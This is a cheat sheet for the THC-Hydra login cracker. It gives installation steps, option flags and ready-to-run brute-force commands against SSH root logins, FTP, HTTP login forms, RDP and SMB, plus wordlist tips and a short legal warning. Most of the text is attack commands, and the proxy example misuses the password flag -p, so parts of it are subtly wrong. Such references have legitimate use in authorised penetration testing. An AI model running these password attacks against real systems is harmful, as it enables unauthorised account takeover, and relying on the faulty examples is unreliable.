THC-HYDRA CHEAT SHEET (2025 Edition)
THC-HYDRA CHEAT SHEET (2025 Edition)
Hydra is a fast and flexible login cracker supporting numerous protocols.
INSTALLATION
Linux (Debian/Ubuntu):
sudo apt update
sudo apt install hydra
macOS (with Homebrew):
brew install hydra
Windows:
- Get from: [Link]
- Use WSL (Windows Subsystem for Linux) for full support.
BASIC SYNTAX
hydra [OPTIONS] -l USER or -L FILE -p PASS or -P FILE [PROTOCOL]://[TARGET]
Basic Options:
-l Single username
-L File of usernames
-p Single password
-P File of passwords
-s Port (if non-default)
-t Number of parallel tasks (default: 16)
-v Verbose mode
-V Shows each login attempt
-f Exit after first valid password
-o Output file
-F Exit after one valid login per host
-e nsr Try null password, same as user, reversed login
-u Loop mode
COMMON PROTOCOLS
ftp, ssh, telnet, http-get, http-post-form, rdp, smtp, pop3, imap, vnc, smb, rexec, rlogin,
pcanywhere
EXAMPLES
SSH Brute Force:
hydra -l root -P [Link] ssh://[Link]
FTP Brute Force:
hydra -L [Link] -P [Link] [Link]
HTTP Form POST Attack:
hydra -l admin -P [Link]
http-post-form://[Link]/[Link]:user=^USER^&pass=^PASS^:F=Login failed
RDP Attack:
hydra -L [Link] -P [Link] rdp://[Link]
SMB Attack:
hydra -L [Link] -P [Link] smb://[Link]
ADVANCED OPTIONS
Add Proxy Support:
hydra -l admin -P [Link] -s 8080 -p proxy_host:proxy_port http-get://target
Bruteforce Passwords Only:
hydra -l admin -P [Link] -t 4 -vV [Link]
Bruteforce Usernames Only:
hydra -L [Link] -p secret123 ssh://[Link]
Add Custom Headers:
hydra -l admin -P [Link]
http-post-form://[Link]/[Link]:"user=^USER^&pass=^PASS^:F=Invalid
login":H="User-Agent: CustomAgent"
OUTPUT & LOGGING
-o [Link] Save successful attempts
-b json Output in JSON format
TIPS
- Use -V for verbose login attempts.
- Use -f to stop after the first valid password.
- Use --help for the full module list.
- Combine with tools like Crunch to generate wordlists.
LEGAL WARNING
Use Hydra only on systems you own or have permission to test. Unauthorized use is illegal
and unethical.